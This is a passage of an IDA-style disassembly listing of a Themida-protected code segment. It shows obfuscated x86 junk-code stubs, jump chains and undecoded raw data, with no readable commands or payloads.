dd 8124348Bh, 4C4h, 242C8B00h, 3104C483h, 2434FFF0h, 82FCE9h
dd 0E9C1FE00h, 109ADh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5463DD
; ---------------------------------------------------------------------------
dd 4C581h, 2C870000h, 94685C24h, 8900005Bh, 36E9241Ch
dd 5F000074h, 0A226E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546F12: ; CODE XREF: Themida_:0055254Bj
and eax, 46D94320h
sub eax, 4699031Ch
add edi, 22977386h
jmp loc_554961
; ---------------------------------------------------------------------------
loc_546F27: ; CODE XREF: Themida_:0054A3FFj
mov esi, 471A6156h
sub eax, esi
pop esi
jmp loc_545385
; ---------------------------------------------------------------------------
loc_546F34: ; CODE XREF: Themida_:00544F2Cj
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_550988
; ---------------------------------------------------------------------------
dd 398BED81h, 0BF576995h, 6D1B0635h, 2E33E9h, 4C48300h
dd 31243433h, 34332434h, 0E06BE924h, 27050000h, 0E9427F0Ah
dd 4507h
; ---------------------------------------------------------------------------
loc_546F74: ; CODE XREF: Themida_:00548942j
mov eax, [esp]
add esp, 4
jmp loc_5462E6
; ---------------------------------------------------------------------------
db 83h
dd 0BB5304C4h, 4486CF3h, 4BDDF381h, 0C3833F9Dh, 5CC38101h
dd 2936DC26h, 0C2815BDAh, 2EF77EE4h, 0EC28E94Ah, 0D801FFFFh
dd 0FFCD94E9h, 6D4FBFFFh, 0F82974D1h, 83243C8Bh, 0B32D04C4h
dd 5586665h, 229B0FC3h, 746AE925h, 0E7010522h, 7BE95EC2h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546FD3: ; CODE XREF: Themida_:00557635j
add edx, 4
jmp loc_5456AE
; ---------------------------------------------------------------------------
loc_546FDE: ; CODE XREF: Themida_:00553D3Bj
mov edx, [esp]
add esp, 4
sub si, 0FFFFh
sub esp, 2
mov [esp], si
add word ptr [esp], 1
pop si
sub si, 5AA5h
add dx, si
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54E66B
; ---------------------------------------------------------------------------
loc_54700B: ; CODE XREF: Themida_:005513B6j
push edi
mov edi, 1FB10920h
jmp loc_54F059
; ---------------------------------------------------------------------------
dw 966h
dd 0E99C2404h, 0FFFFB6ECh, 21E9FD89h, 8B00001Ah, 0C483240Ch
dd 0D9E95B04h, 87FFFFB6h, 665C240Ch, 4816652h, 663B2824h
dd 81E95758h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547047: ; CODE XREF: Themida_:005456B5j
mov [esp], eax
push ecx
push dword ptr [esp]
jmp loc_556899
; ---------------------------------------------------------------------------
loc_547053: ; CODE XREF: Themida_:005516A3j
add ebp, 4
jmp loc_548163
; ---------------------------------------------------------------------------
align 4
dd 0AF5EE9F8h, 5E500000h, 5AE68158h, 684DBD75h, 5426h
dd 0B8240489h, 0FFFFFFFFh, 6DF0EE81h, 0C6015A4Bh, 6DF0C681h
dd 81585A4Bh, 0A417F3F6h, 0ED9CE905h, 0EF81FFFFh, 35520354h
dd 4469E781h, 814F0AE9h, 0A37488CFh, 0C9BBE933h, 0F281FFFFh
dd 886EFBA9h, 89D58955h, 242C8BEFh, 0F4CE9h
db 0
; ---------------------------------------------------------------------------
loc_5470BD: ; CODE XREF: Themida_:00555074j
sub ebx, 0CE62FEA6h
push ebx
not dword ptr [esp]
jmp loc_544611
; ---------------------------------------------------------------------------
loc_5470CC: ; CODE XREF: Themida_:00547E02j
jmp loc_54270C
; ---------------------------------------------------------------------------
db 2Dh, 0FFh, 3Dh
dd 0DD0527B7h, 0E9191482h, 5C53h
; ---------------------------------------------------------------------------
loc_5470E0: ; CODE XREF: Themida_:00551C5Fj
push eax
jmp loc_549BD3
; ---------------------------------------------------------------------------
loc_5470E6: ; CODE XREF: Themida_:005537FDj
pop esi
add esp, 4
jmp loc_545D70
; ---------------------------------------------------------------------------
dw 0CE80h
dd 60E680CCh, 5008EEC0h, 2F2454B0h, 0E902E8C0h, 0A41Dh
dd 44E91C2Ch, 83FFFFF7h, 5D042404h, 0DE268h, 24048900h
dd 2FA3E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547122: ; CODE XREF: Themida_:0054562Cj
add esp, 4
push edi
mov edi, 58D935E4h
push edx
mov edx, 44A82FA7h
xor edx, 535871D7h
or edi, edx
pop edx
add edi, 0FFFFFFFFh
sub edi, 204D3E96h
shr edi, 8
xor edi, 3FAC45h
add eax, edi
jmp loc_557306
; ---------------------------------------------------------------------------
aIsu db 'Iéî',27h,0
align 4
loc_54715C: ; CODE XREF: Themida_:0054D621j
add edx, 0B7306CA4h
add eax, edx
pop edx
push eax
pop ebp
mov eax, [esp]
add esp, 4
add edi, 2BBA2156h
jmp loc_5536C4
; ---------------------------------------------------------------------------
db 68h
dd 173B71A9h, 0E9DD315Dh, 0FFFFF1A0h, 0AD4DE959h, 24890000h
dd 745AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547196: ; CODE XREF: Themida_:005532DAj
pop ecx
add ecx, 4
add ecx, 4
jmp loc_544E40
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 66FBh, 5C240487h, 83243C89h, 0C8904ECh
dd 3F766824h, 0C8B4897h, 4C48124h, 51000000h, 0E92414F7h
dd 0B450h, 0F724248Bh, 4EC81F9h, 0E9000000h, 888Dh, 48CBEF81h
dd 0EF812787h, 0B0746528h, 2FC7814Fh, 10F8A0Bh, 55535FFEh
dd 0F8D2E9h
db 0
; ---------------------------------------------------------------------------
loc_547201: ; CODE XREF: Themida_:00549D46j
inc edi
add edi, 3AF6229h
jmp loc_544951
; ---------------------------------------------------------------------------
db 81h, 0EFh, 18h
dd 2929167Ch, 18C781DFh, 5B29167Ch, 4BE5658h, 1000000h
dd 3C335EF7h, 243C3124h, 287FE9h
db 0
; ---------------------------------------------------------------------------
loc_547231: ; CODE XREF: Themida_:00545EE4j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_54F829
; ---------------------------------------------------------------------------
loc_547248: ; CODE XREF: Themida_:005444B1j
add edx, 4
push ebp
jmp loc_54D8B8
; ---------------------------------------------------------------------------
dd 0C380C300h, 54E9588Eh
db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54725F: ; CODE XREF: Themida_:0054333Aj
xor edi, 30B43106h
xor edi, 5B550F9Ch
not edi
add edi, 7FE3796Dh
xor edi, 6B95440Ch
jmp loc_5516A0
; ---------------------------------------------------------------------------
dw 0E389h
dd 4EC81h, 2C890000h, 68C0E924h, 0EB290000h, 34B7C381h
dd 595D46A6h, 558EB850h, 0BB5304D8h, 0FFFFFFFFh, 34FFD829h
dd 83E95B24h, 100002Ch, 0F6C281C2h, 0E939D55Bh, 0FFFFB450h
dd 81DAF75Ah, 5CE388F2h, 0E9D689D4h, 0D199h, 0BB99E957h
dd 0EDC1FFFFh, 0AAED8102h, 8901D346h, 0FB295DEFh, 33C3815Fh
dd 1248C14h, 2434FFDEh, 0E089505Bh, 8478E956h, 0E9580000h
dd 0FFFFE87Fh
; ---------------------------------------------------------------------------
loc_5472FC: ; CODE XREF: Themida_:0054DA26j
add ebp, 4
xchg ebp, [esp]
jmp loc_54E4E8
; ---------------------------------------------------------------------------
db 0FFh
a4Sap db '4$^é',0
align 10h
dd 59D5E981h, 0CF017D67h, 2C78359h, 2474FF57h, 48F5F04h
dd 24248B24h, 38EDE9h, 0F3815E00h, 74D01154h, 6DEEC381h
dd 6CE91B31h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54733F: ; CODE XREF: Themida_:0054508Dj
movzx eax, al
push edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55093D
; ---------------------------------------------------------------------------
dd 3A356850h, 2D584392h, 2DE4088Ch, 0AE31AD35h, 58C58915h
dd 2A48C181h, 28E90A7Ch
db 9Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547377: ; CODE XREF: Themida_:005534BEj
pop dword ptr [esp]
pop esp
push dword ptr [esp]
jmp loc_544115
; ---------------------------------------------------------------------------
db 81h
dd 7073E2C1h, 56F90145h, 82E9E689h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547393: ; CODE XREF: Themida_:00554F26j
neg eax
shr eax, 5
add eax, 6623EEC1h
jmp loc_556F9B
; ---------------------------------------------------------------------------
dw 8156h
dd 4ECh, 24048900h, 0BD3E3D68h, 0CE35583Ch, 501AF41h, 0C2ED8011h
dd 0B3A5E9h, 2BED8000h, 28C0ED80h, 70E959EBh, 0F7000004h
dd 19AAE9D2h, 3C330000h, 243C3124h, 5C243C33h, 4468E1F7h
dd 8900006Fh, 9C502414h, 0FFB31BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5473F1: ; CODE XREF: Themida_:005485B0j
shr bh, 8
inc bh
push cx
mov cl, 52h
sub bh, 0DDh
jmp loc_545B09
; ---------------------------------------------------------------------------
aM0S db '¬0Øé~Õ',0
align 2
dw 0D6F7h
dd 2414F756h, 9CE815Eh, 55453471h, 917914BDh, 5DEE2942h
dd 0A0E9F129h, 81000023h, 0BA2926C2h, 81CA292Bh, 0BA2926EAh
dd 240C8B2Bh, 0E904C483h, 0FFFFB9E5h, 148BD588h, 0E2E95124h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54744B: ; CODE XREF: Themida_:00549153j
push dword ptr [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add [esp+4], ecx
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_55467C
; ---------------------------------------------------------------------------
dw 405h
dd 83000000h, 48704C0h, 34FF5C24h, 2434FF24h, 4C48358h
dd 0E9E28952h, 0FFFFE8F6h
; ---------------------------------------------------------------------------
loc_547498: ; CODE XREF: Themida_:0055054Cj
push esi
jmp loc_54C2FF
; ---------------------------------------------------------------------------
dw 348Bh
dd 0E0895024h, 727BB951h, 0F1817B4Fh, 7B4F727Fh, 0FA0E1F2Dh
dd 5C80167h, 67FA0E1Fh, 4C08359h, 0E9240487h, 1D36h, 0C581E589h
dd 4, 4ED81h, 2C870000h, 39E95C24h
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5474DF: ; CODE XREF: Themida_:0055631Fj
add ebx, edi
pop edi
push eax
jmp loc_5435DE
; ---------------------------------------------------------------------------
dd 80ADE480h, 0E688CDC4h, 69F7E958h, 34890000h, 2BBABE24h
dd 0F72968A8h, 8124348Bh, 4C4h, 5DBA5200h, 9716621h, 31475AD7h
dd 0F7F0E9C7h, 0C5810000h, 0A32BD034h, 42B4BA52h, 814A26ADh
dd 0AB1528EAh, 0FFC28162h, 68FFFFFFh, 2109h, 0E9243489h
dd 94F6h, 2D06E681h, 0DEF71020h, 0FFCEBFE9h, 0E9D2F7FFh
dd 6737h, 0E9240C31h, 0F545h, 4C181h, 0C1810000h, 2, 0FFFAC6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54756D: ; CODE XREF: Themida_:005486C2j
sub edi, 0A802127h
pop esi
mov ecx, edi
pop edi
jmp loc_544603
; ---------------------------------------------------------------------------
dd 0E9243489h, 0FD60h
; ---------------------------------------------------------------------------
loc_547584: ; CODE XREF: Themida_:00556568j
mov [esp], ecx
mov ecx, esp
push 3A81h
jmp loc_542AC1
; ---------------------------------------------------------------------------
dd offset dword_49005C+1B70Ch
align 4
dd 54241489h, 5A2434FFh, 4C481h, 0BF680000h, 89000006h
dd 4BD242Ch, 1000000h, 2434FFEAh, 81242C8Bh, 4C4h, 4C48300h
dd 7A836850h, 14890000h, 0FE2BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5475D2: ; CODE XREF: Themida_:005496F0j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
push ebp
jmp loc_557762
; ---------------------------------------------------------------------------
db 0F7h
dd 68D0h, 4290000h, 0BB535824h, 18B831B2h, 0E95BD821h
dd 9B57h, 8105E2C1h, 4D2740E2h, 118E928h, 0FA090000h, 71BD555Fh
dd 13E505Ch, 0C2815DEAh, 0C99B6A36h, 0F8249205h, 2DD0016Ah
dd 6AF82492h, 7E5DE9h, 0E9DDF700h, 36F2h, 1B221C05h, 2DF00104h
dd 41B221Ch, 57F6B951h, 0CA2D59C7h, 2936042Bh, 2BCA05C8h
dd 2D593604h, 69E2765Bh, 5E2434FFh, 4C481h, 57530000h
dd 0C7815F54h, 4, 4EF81h, 3C330000h, 0D22FE924h, 61B9FFFFh
dd 0C1089F29h, 0E98104E9h, 590D7CEDh, 3A07E9h
db 0
; ---------------------------------------------------------------------------
loc_54769D: ; CODE XREF: Themida_:005484CEj
xchg ebx, [esp]
pop esp
add esp, 4
shr eax, 0Ah
xor eax, ecx
push 3CFFh
mov [esp], eax
push edx
pop eax
push dword ptr [esp]
jmp loc_544714
; ---------------------------------------------------------------------------
dw 0D2BDh
dd 0E93AF139h, 0FFFFC42Ah, 1EE9ABB6h, 81FFFFF4h, 2479B0C1h
dd 4EE9816Ch, 5F665F14h, 0E28CE9h
db 0
; ---------------------------------------------------------------------------
loc_5476E1: ; CODE XREF: Themida_:00552D6Bj
mov [esp], bx
mov bl, 1Ch
sub al, bl
pop bx
sub al, 31h
sub al, cl
add al, 31h
add al, 1Ch
jmp loc_552867
; ---------------------------------------------------------------------------
dd 5D2434FFh, 8704C483h, 815C240Ch, 4ECh, 241C8900h, 0FFFB6DE9h
dd 55858FFh, 7D70739Bh, 48BC189h, 4C48124h, 5D000000h
dd 8B1C4F21h, 0C483240Ch, 76E9E904h, 0EA810000h, 280121FCh
dd 9D5FE9h, 48F5E00h, 6EEF6824h, 34890000h, 7C2A6824h
dd 29E90000h, 53FFFFFEh, 7A0FE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54775A: ; CODE XREF: Themida_:loc_54534Ej
push 2A17h
mov [esp], edi
push 10h
mov edi, [esp]
add esp, 4
and ebx, edi
jmp loc_549853
; ---------------------------------------------------------------------------
loc_547777: ; CODE XREF: Themida_:0054C701j
mov edx, 35DE238Fh
dec edx
xor edx, ebp
jmp loc_554BC7
; ---------------------------------------------------------------------------
dd 3104C483h, 1DB2E9EBh, 8B350000h, 0C1494526h, 6BE906E8h
dd 5F00005Dh, 0E9241487h, 13DCh, 0C9DB951h, 28E95B8Bh
dd 0FF0000A9h, 48B2434h, 0B54FE924h, 0E949FFFFh, 0FFFFFB50h
dd 2434FF5Fh, 4C4835Fh, 31240C33h, 0C33240Ch, 0D211E924h
dd 815D0000h, 0F90D56EEh, 0E9DEF71Ch, 0FFCCh, 0E9F78853h
dd 0A4EAh, 4BD55h, 0EE290000h, 1CA4E9h, 240C8B00h, 0FFB789E9h
dd 2DC181FFh, 312CB334h, 240C8BCDh, 8B04C483h, 0C481241Ch
dd 4, 306BB850h, 0C5292945h, 1C6F2158h, 8B2434FFh, 0C481242Ch
dd 4, 81E68956h, 4C6h, 78E95000h, 0FFFFB2h, 73C380C3h
dd 8324048Bh, 0B35304C4h, 0E9D3F68Bh, 75FEh, 3659C781h
dd 0CF810286h, 15B2E95h, 0BE8CF781h, 0EDE9B787h, 0BA000010h
dd 65B0642Ch, 49D4E281h, 0EAD12948h, 0C2814A42h, 6900412Eh
dd 0EFA8E9h, 527D6800h, 4890000h, 2474FF24h, 24048B04h
dd 0E904C483h, 0FFFFBB45h
; ---------------------------------------------------------------------------
loc_54789C: ; CODE XREF: Themida_:0054AAEAj
mov ebp, 2E70748Eh
jmp loc_55482D
; ---------------------------------------------------------------------------
dw 0EC83h
dd 80A3E904h, 3C890000h, 4EC8324h, 0AD1FE9h
db 0
; ---------------------------------------------------------------------------
loc_5478B9: ; CODE XREF: Themida_:00555E1Fj
pop eax
add edx, 4
xor edx, [esp]
jmp loc_550525
; ---------------------------------------------------------------------------
dd 26EA68h, 774BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5478D2: ; CODE XREF: Themida_:0054CE19j
xor ebx, 0E49AE6D3h
sub esp, 4
mov [esp], ebx
jmp loc_5546A9
; ---------------------------------------------------------------------------
dw 0C0FEh
dd 0FFBB87E9h, 28BA52FFh, 1000000h, 4EC81FAh, 89000000h
dd 0B9240Ch, 1000000h, 590188D1h, 8324148Bh, 34FF04C4h
dd 0EEBDE924h, 0EC81FFFFh, 4, 59241C89h, 0E92434FFh, 0FFFFB4D6h
dd 0E9D8295Ah, 734Fh, 0C7EABF57h, 0FA29FD31h, 7A7DE95Fh
dd 0E7890000h, 852BE56h, 0CE8154F5h, 312B6F44h, 0AE0CE81h
dd 0DEF77D40h, 8108E6C1h, 900A04F6h, 5EC78100h, 1721D28h
dd 0DD81E9F7h, 8B660000h, 3E68240Ch, 89000001h, 0E2892414h
dd 8904EC83h, 0BE562404h, 48415209h, 3D1E681h, 0C6810458h
dd 0FFBFFE03h, 348BF089h, 0E2895224h, 4C281h, 0C2830000h
dd 24148704h, 9EE9505Ch, 8B0000A9h, 0C4812414h, 4, 0B5088805h
dd 0E9F8012Bh, 666Bh, 7D04C828h, 803AB353h, 0E95269CBh
dd 9C8Ah
; ---------------------------------------------------------------------------
loc_5479D0: ; CODE XREF: Themida_:00544E89j
mov [esp], edx
mov edx, 27A2266Dh
sub edx, 7ADC3753h
not edx
sub edx, 5A045773h
jmp loc_5567D8
; ---------------------------------------------------------------------------
db 89h
dd 0C2B62414h, 8014B551h, 0ED806FF5h, 0E9EE20BFh, 1E7Bh
dd 0C531E831h, 0A2E9D0F7h, 0FFFFFFB1h, 0C8B2434h, 4C48324h
dd 5CC68h, 0EBE1E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547A1E: ; CODE XREF: Themida_:0054CFE8j
pop edx
jmp loc_54290A
; ---------------------------------------------------------------------------
dd 0E728CEB4h, 68665866h, 896641AFh, 0FE882414h, 2454F652h
dd 0DA3FE901h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547A3E: ; CODE XREF: Themida_:00544E2Fj
pop edi
xchg ebx, [esp]
pop esp
jmp loc_543DE9
; ---------------------------------------------------------------------------
dd 0DCA4C281h, 0C7811EE9h, 63D0036Bh, 0EF81D701h, 63D0036Bh
dd 0E924148Bh, 0FFFFD2D8h, 73C168h, 0DFE8E900h, 0E9550000h
dd 0FFFFB4F9h, 0DA50E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547A7A: ; CODE XREF: Themida_:005519C3j
xor dword ptr [esp], 0BB12ED3h
pop edx
jmp loc_549478
; ---------------------------------------------------------------------------
loc_547A87: ; CODE XREF: Themida_:0054C60Cj
push edi
mov edi, esp
add edi, 4
jmp loc_551189
; ---------------------------------------------------------------------------
loc_547A95: ; CODE XREF: Themida_:0054A220j
add esi, 82F68A71h
mov ebp, esi
pop esi
add ebp, 11574042h
jmp loc_54DDDC
; ---------------------------------------------------------------------------
db 68h, 3, 2Bh
dd 2C890000h, 0C032E924h, 68570000h, 2, 10BA525Fh, 8104FF31h
dd 0D35445F2h, 5AD10113h, 6E35BD55h, 0E90123EEh, 81F9015Dh
dd 0EE6E35E9h, 0E9565723h, 0BBD6h, 34FFF729h, 0C4815E24h
dd 4, 9860E9h, 56CD2900h, 8041D6BEh, 5EF50106h, 0AC6C581h
dd 159017Ch, 0B9C581D5h, 8B08C26Eh, 0E9512414h, 65F3h
dd 112FE958h, 0C7810000h, 4, 5C243C87h, 1356E9h
db 0
; ---------------------------------------------------------------------------
loc_547B2D: ; CODE XREF: Themida_:00552D00j
inc ah
xor ah, 0D4h
jmp loc_544887
; ---------------------------------------------------------------------------
db 87h
dd 895C2414h, 0EC832414h, 240C8904h, 168C188h, 8900007Ah
dd 0CB88241Ch, 63FB68h, 240C8900h, 8853D988h, 5BDE88CBh
dd 34FF5B59h, 46CEE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547B6A: ; CODE XREF: Themida_:0054A335j
pop edi
push ecx
jmp loc_55028C
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 0D0E9D1F7h, 5200004Ch, 45BFE9h, 4C48100h, 83000000h
dd 9CE904ECh, 8100001Ah, 4C6h, 24348700h, 0E924248Bh, 0FFFFE705h
; ---------------------------------------------------------------------------
loc_547BA0: ; CODE XREF: Themida_:005518E1j
sub esp, 4
mov [esp], eax
push ebp
pop eax
push eax
add dword ptr [esp], 2D55B63h
pop ebx
jmp loc_5560B2
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0E9240489h, 0F0CDh, 45E9DD29h, 5A000014h, 6617C580h
dd 0ABE95052h, 0FFFFDEh, 0D073E9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547BDE: ; CODE XREF: Themida_:0054BCA3j
pop esp
jmp loc_54DCB9
; ---------------------------------------------------------------------------
aF3F1Sdx db 'f3,$f1,$é¤x',0
dd 81E68900h, 4C6h, 3BE95300h, 810000CCh, 57260BF2h, 0C30AE959h
dd 0BD550000h, 4333325Ch, 0F4B5E9h
db 0
; ---------------------------------------------------------------------------
loc_547C15: ; CODE XREF: Themida_:0054A4A3j
neg ecx
jmp loc_551331
; ---------------------------------------------------------------------------
dd 5B2434FFh, 5704C483h, 2D1F68h, 240C8900h, 0ED61C468h
dd 0E9C15940h, 33E98104h, 89C46E57h, 240C8BCFh, 0C104C483h
dd 0EF8106EFh, 0A7372A05h, 14E9F801h, 0BB00000Eh, 778CD48Fh
dd 815BDA31h, 55F53FC2h, 2C8152E3h, 834FEB24h, 4E95B4Dh
db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547C6F: ; CODE XREF: Themida_:0054FEDFj
mov edx, edi
pop edi
push esi
mov esi, 183E060Bh
jmp loc_542AC9
; ---------------------------------------------------------------------------
db 0F7h, 0D7h, 81h
dd 0BB403BF7h, 5FFB8960h, 154BEB81h, 0EE810B0Fh, 107A5C15h
dd 0E955DE01h, 0FFFFDB9Fh, 4BDh, 98B9E900h, 685B0000h
dd 6A17h, 0BF243C89h, 74790Ah, 0E905E7C1h, 0FFFFCD42h
dd 104C483h, 1C875FFBh, 0C25DE924h, 0C809FFFFh, 0AB00E959h
dd 0C483FFFFh, 33D5E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547CDA: ; CODE XREF: Themida_:005491A2j
mov edi, 6D143425h
shl edi, 8
push ebx
mov ebx, 22CC7181h
xor edi, ebx
pop ebx
sub ebp, 5B2C5FDFh
add ebp, edi
push ebx
mov ebx, 4CFC2D09h
shl ebx, 5
xor ebx, 3CED1B17h
sub ebx, 483C5A58h
add ebp, ebx
pop ebx
pop edi
add edx, ebp
mov ebp, [esp]
push edi
mov edi, esp
jmp loc_5553A1
; ---------------------------------------------------------------------------
loc_547D19: ; CODE XREF: Themida_:00544C12j
sub [esp+8], ebp
pop ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ebp
push esp
pop ebp
jmp loc_550E64
; ---------------------------------------------------------------------------
aS_6 db '\é',1Bh,'(',0
dd 40500h, 13E90000h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547D3F: ; CODE XREF: Themida_:005539FFj
sub ebx, 1D3B63FAh
jmp loc_542C59
; ---------------------------------------------------------------------------
dw 815Bh
dd 4C4h, 5038E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547D56: ; CODE XREF: Themida_:005540C0j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
pop edi
add edi, 4
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], edx
mov edx, 4
mov esi, edx
jmp loc_543A70
; ---------------------------------------------------------------------------
loc_547D93: ; CODE XREF: Themida_:0054F9B5j
mov [esp], edi
jmp loc_552587
; ---------------------------------------------------------------------------
db 0FFh
a4Zhd db '4$Zh„]',0
align 4
dd 89240489h, 4B951E0h, 1000000h, 0B879E9C8h, 4AC0000h
dd 6FE951B3h
db 53h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547DBF: ; CODE XREF: Themida_:005444C2j
mov edi, 2C70348Fh
sub esp, 4
mov [esp], edx
mov edx, 77E90C26h
sub edx, 4B74D797h
xor edi, edx
pop edx
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
jmp loc_544810
; ---------------------------------------------------------------------------
loc_547DE9: ; CODE XREF: Themida_:00557500j
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5470CC
; ---------------------------------------------------------------------------
db 89h
dd 0B8505FFDh, 78580FB8h, 0E958C301h, 4068h, 5604E2C1h
dd 0FFFFFFBEh, 50C281FFh, 0E9486004h, 0D42Dh, 1B4B17B8h
dd 0EE1EE968h, 0C801FFFFh, 83240C8Bh, 0C08304C4h, 24043302h
dd 33240431h, 248B2404h, 24042024h, 0A8B6E99Ch, 0C181FFFFh
dd 4, 0FFAF70E9h, 8BF328FFh, 0C4832414h, 66C32804h, 0D8B551h
dd 0C8B66EBh, 2C48324h, 0FF2C380h, 8F66C0B6h, 85E98704h
dd 89FFFFA8h, 0A3E95AD1h, 68FFFFC3h, 39D0h, 66240C89h
dd 0E91559B9h, 5A03h, 52240C8Bh, 0C281E289h, 4, 0A717E9h
dd 6E5C000h, 0AF4EE9h
db 0
; ---------------------------------------------------------------------------
loc_547EB9: ; CODE XREF: Themida_:00545511j
push edx
mov edx, 4
add ebx, 4A197CEEh
add ebx, edx
jmp loc_5484BE
; ---------------------------------------------------------------------------
dd 83242489h, 5A042404h, 8A268h, 24348900h, 4BEh, 4EB0E900h
dd 34FF0000h, 648AE924h, 8B660000h, 89532404h, 72CAE9E3h
dd 0D0880000h, 58C2885Ah, 0D455E9h
db 0
; ---------------------------------------------------------------------------
loc_547F05: ; CODE XREF: Themida_:00555339j
pop eax
jmp loc_55210B
; ---------------------------------------------------------------------------
db 88h
dd 59665AF0h, 48BC630h, 0EFD2E924h, 0E581FFFFh, 0D4218B5h
dd 0EFE9DDF7h, 330000B7h, 248B2434h, 0A7DAE924h, 0F681FFFFh
dd 1AD53C70h, 61E9815Bh, 11C7E44h, 61B850F1h, 11C7E44h
dd 348B58C1h, 4AB4E924h, 4870000h, 24248B24h, 0FEFBE981h
dd 5357FFFFh, 0EF03CEBBh, 0A166E933h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547F6A: ; CODE XREF: Themida_:00551D26j
mov [esp], ebx
jmp loc_546EAB
; ---------------------------------------------------------------------------
dw 815Dh
dd 416521E9h, 0E9F12904h, 6B98h, 0A63EED81h, 0BF57206Bh
dd 6E060CA9h, 0BA94E9h, 6884B900h, 0E9815360h, 53606880h
dd 0CB0FE9h, 0BD555800h, 20756010h, 525DE909h, 0D41DB7BAh
dd 0EA21E949h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547FB6: ; CODE XREF: Themida_:0054FAD6j
add edx, eax
add edx, 13C07F66h
pop eax
xchg edx, [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
dd 8168h, 0A2B1E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547FD6: ; CODE XREF: Themida_:0054C9F3j
mov edx, 4F280DB9h
sub ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_545FE0
; ---------------------------------------------------------------------------
loc_547FEB: ; CODE XREF: Themida_:0054C288j
push 2151h
mov [esp], ebp
mov ebp, 605F46ACh
add ebp, 4D2C1260h
sub esi, 2909741Ch
jmp loc_5464F5
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 8B000000h, 0C4812414h, 4, 34FFFB01h, 0F57EE924h, 2C330000h
dd 24248B24h, 24048B66h, 8904EC83h, 58542404h, 6D9868h
dd 241C8900h, 3207FFBBh, 8906E96Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548046: ; CODE XREF: Themida_:0054B74Ej
sub edi, eax
jmp loc_557250
; ---------------------------------------------------------------------------
db 0BBh, 58h, 39h
dd 0D3F73B30h, 0D481E9h, 24048900h, 0D3009BB8h, 0C1D0F71Ah
dd 1F2D03E0h, 2568B504h, 11560B3Eh, 0FD04B951h, 0A4E9FFEDh
dd 810000A3h, 0BA730BEAh, 81C22916h, 0BA730BC2h, 89575816h
dd 0EF8EE9D7h, 835EFFFFh, 89E904C4h, 81000033h, 4C1h, 4C18300h
dd 5C240C87h, 30DDC581h, 0FF5531A8h, 48B2434h, 0EAC9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5480BA: ; CODE XREF: Themida_:005462A0j
mov esi, ebx
mov ecx, esi
pop esi
mov ebx, [esp]
jmp loc_5505E2
; ---------------------------------------------------------------------------
db 29h
dd 875A5BD9h, 17E9240Ch, 8B0000CFh, 0C4832404h, 2434FF04h
dd 0FFBF5AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5480E1: ; CODE XREF: Themida_:005437B6j
xor edx, edi
pop edi
add edx, ecx
add [edx], ebp
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
mov eax, [esp]
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
jmp loc_548FFB
; ---------------------------------------------------------------------------
db 1
dd 11C581F5h, 8B653050h, 0C4832434h, 0E643E904h, 0CF810000h
dd 4BB0056Ch, 0FFD2D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548121: ; CODE XREF: Themida_:0054B2F5j
